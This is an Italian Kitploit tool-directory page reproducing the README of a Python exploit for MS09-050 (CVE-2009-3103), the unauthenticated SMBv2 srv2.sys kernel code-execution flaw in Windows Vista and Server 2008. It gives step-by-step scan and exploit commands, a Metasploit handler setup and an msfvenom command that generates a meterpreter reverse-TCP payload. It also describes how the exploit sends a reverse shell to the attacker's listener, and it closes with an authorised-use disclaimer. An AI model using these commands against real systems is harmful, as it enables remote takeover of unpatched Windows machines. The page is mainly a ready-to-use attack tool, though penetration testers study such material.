Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
MS09-050 — Exploit Python per MS09-050 (CVE-2009-3103) overflow di buffer in srv2.sys di SMBv2, con scanner di vulnerabilità, rilevamento automatico dell'architettura e payload reverse shell x86/x64. | Kitploit
Strumenti/GitHubGitHub/bytejmp/ms09-050
Scanner di VulnerabilitàGenerazione di PayloadExploitShellcodeRaccolta InformazioniPost-ExploitSicurezza di RetePenetration TestingRed TeamingStrumento di Accesso Remoto
GitHubbytejmp/ms09-050

MS09-050

13h 56m faNon ancora revisionato

Exploit Python per MS09-050 (CVE-2009-3103) overflow di buffer in srv2.sys di SMBv2, con scanner di vulnerabilità, rilevamento automatico dell'architettura e payload reverse shell x86/x64.

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

MS09-050 — Exploit per l'esecuzione di codice in remoto su SMBv2

CVE-2009-3103

La vulnerabilità

Windows Vista e Server 2008 hanno introdotto SMBv2 con un nuovo driver kernel, srv2.sys. Questo driver non riesce a convalidare il campo Process Id High nelle richieste di negoziazione SMB. Inviando un valore appositamente predisposto in questo campo, un attaccante induce srv2.sys a indicizzare una tabella di puntatori a funzione con un valore controllato, dereferenziando un indirizzo fornito dall'attaccante.

Il risultato è l'esecuzione di codice arbitrario in contesto kernel, senza necessità di autenticazione. L'attaccante deve solo raggiungere la porta 445.

Microsoft ha corretto questa vulnerabilità nell'ottobre 2009 (KB975517). Qualsiasi sistema Vista SP1/SP2 o Server 2008 SP1 non aggiornato è vulnerabile.

Sistemi interessati

Sistema operativo di destinazioneArchitettura
Windows Vista SP1x86
Windows Vista SP2x86 / x64
Windows Server 2008 SP1x86 / x64
Windows Server 2008 SP1 (pre-R2)x64

Funzionalità

  • Modulo scanner: identifica il sistema operativo e l'architettura di destinazione tramite la negoziazione SMB, segnala lo stato di vulnerabilità
  • Rilevamento automatico dell'architettura: lo scanner fornisce direttamente le informazioni sull'architettura all'exploit, senza ipotesi manuali
  • Payload integrato: stager meterpreter/reverse_tcp per x86, pronto all'uso con multi/handler
  • Integrazione con msfvenom: genera qualsiasi payload per qualsiasi architettura tramite msfvenom, con l'opzione --msf-payload per scegliere un payload personalizzato
  • Supporto shellcode personalizzato: carica qualsiasi file di shellcode grezzo (-s)
  • Output strutturato: [+] successo, [-] errore, [!] avviso, [*] informazioni

Installazione

root@kitploit:~
git clone https://github.com/bytejmp/MS09-050.git
cd MS09-050

Requisiti:

  • Python 3.6+
  • rpcclient (dal pacchetto smbclient), utilizzato per attivare il payload dopo l'iniezione
  • msfvenom, necessario solo se si utilizza il flag --msfvenom

Su Debian/Ubuntu:

root@kitploit:~
sudo apt install smbclient

Su Arch Linux:

root@kitploit:~
sudo pacman -S smbclient

Utilizzo

Scansione di un target

root@kitploit:~
python3 MS09.py scan -t 192.168.1.10

Output:

root@kitploit:~
[*] Scanning 192.168.1.10:445...
[+] Target 192.168.1.10 is reachable
[+] SMBv2 supported
[*] OS: Windows Vista (TM) Ultimate 6001 Service Pack 1
[*] Architecture: x86
[+] Target appears VULNERABLE to MS09-050

Exploit con payload integrato (x86)

Utilizza uno stager meterpreter/reverse_tcp. Avvia prima il tuo handler:

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.0.0.5; set LPORT 4444; run"

Poi esegui l'exploit:

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --payload -l 10.0.0.5 -p 4444

Exploit con msfvenom (qualsiasi architettura/payload)

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --msfvenom -l 10.0.0.5 -p 4444 -a x64

Exploit con msfvenom (payload personalizzato)

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --msfvenom --msf-payload windows/meterpreter/reverse_tcp -l 10.0.0.5 -p 4444

Exploit con file di shellcode personalizzato

Genera lo shellcode grezzo una volta, riutilizzalo senza msfvenom:

root@kitploit:~
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 EXITFUNC=thread -f raw -o shell.bin

Poi passalo all'exploit:

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 -s shellcode.bin -a x86

Guida completa

root@kitploit:~
$ python3 MS09.py -h

usage: MS09.py [-h] {scan,exploit} ...

MS09-050 SMBv2 Remote Code Execution Exploit (CVE-2009-3103)

positional arguments:
  {scan,exploit}  Operation mode
    scan          Scan target for MS09-050 vulnerability
    exploit       Send exploit to target

$ python3 MS09.py exploit -h

usage: MS09.py exploit [-h] -t TARGET [-P PORT] [-a {x86,x64}]
                        (--payload | --msfvenom | -s FILE)
                        [-l LHOST] [-p LPORT] [--msf-payload PAYLOAD]

options:
  -t, --target      Target IP address
  -P, --port        SMB port (default: 445)
  -a, --arch        Target architecture (auto-detected if omitted)
  --payload         Use built-in reverse shell payload (no Metasploit needed)
  --msfvenom        Generate shellcode with msfvenom
  --msf-payload     msfvenom payload (default: shell_reverse_tcp x86, x64/shell_reverse_tcp x64)
  -s, --shellcode   Path to raw shellcode file
  -l, --lhost       Listener IP address
  -p, --lport       Listener port

Struttura del progetto

root@kitploit:~
MS09/
├── MS09.py              # Main entry point
├── README.md
└── lib/
    ├── __init__.py
    ├── output.py        # Standardized output formatting
    ├── scanner.py       # SMBv2 vulnerability scanner
    ├── payloads.py      # Built-in shellcode (reverse TCP shell)
    └── exploit.py       # Exploit buffer construction and delivery

Come funziona

  1. Lo scanner invia una Negotiate Protocol Request SMB1 per identificare la versione del sistema operativo e l'architettura di destinazione
  2. L'exploit costruisce una richiesta di negoziazione SMBv2 malformata che causa un overflow di un buffer in srv2.sys
  3. Viene utilizzato uno stager con hook sysenter per ottenere l'esecuzione iniziale del codice in contesto kernel
  4. Lo stager passa alla modalità utente ed esegue lo shellcode fornito (reverse shell)
  5. rpcclient attiva il codice iniettato avviando un tentativo di autenticazione SMB

Riferimenti

  • CVE-2009-3103
  • Microsoft Security Bulletin MS09-050
  • SRV2.SYS SMBv2 Vulnerability Analysis

Disclaimer

Questo strumento è fornito esclusivamente per test di penetrazione autorizzati e scopi educativi.

L'accesso non autorizzato a sistemi informatici costituisce reato penale nella maggior parte delle giurisdizioni. È necessario ottenere un'autorizzazione scritta esplicita dal proprietario del sistema prima di utilizzare questo strumento contro qualsiasi target. Gli autori non si assumono alcuna responsabilità e non sono responsabili per qualsiasi uso improprio o danno causato da questo software.

Utilizzando questo strumento, accetti che:

  • Hai l'autorizzazione scritta per testare il sistema di destinazione
  • Stai operando nell'ambito di una valutazione di sicurezza legittima
  • Accetti la piena responsabilità delle tue azioni
  • Rispetterai tutte le leggi e i regolamenti applicabili

Usa responsabilmente. Hackera eticamente.

Scarica lo strumento